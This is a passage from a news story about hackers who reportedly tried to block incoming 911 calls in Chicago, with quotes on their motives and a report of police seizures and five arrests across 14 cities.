They later tried to block incoming calls to the 911 emergency service in Chicago. The motivation? "The primary reason is as kind of a malicious hobby." says Gary Chapman of Computer Professionals for Social Responsibility. "People are interested in testing their skills against security measures." But, Adams says, "I hate to minimize it by saying it

was just for kicks."
Police seized 40 computers and 23,000 disks during searches Tuesday in 14 cities, officials said Wednesday. Five men, between the ages of 19 and 24, have been arrested.
What's been uncovered so far, says Holtzen, may be "just the tip of the iceberg."

[END OF STORY]
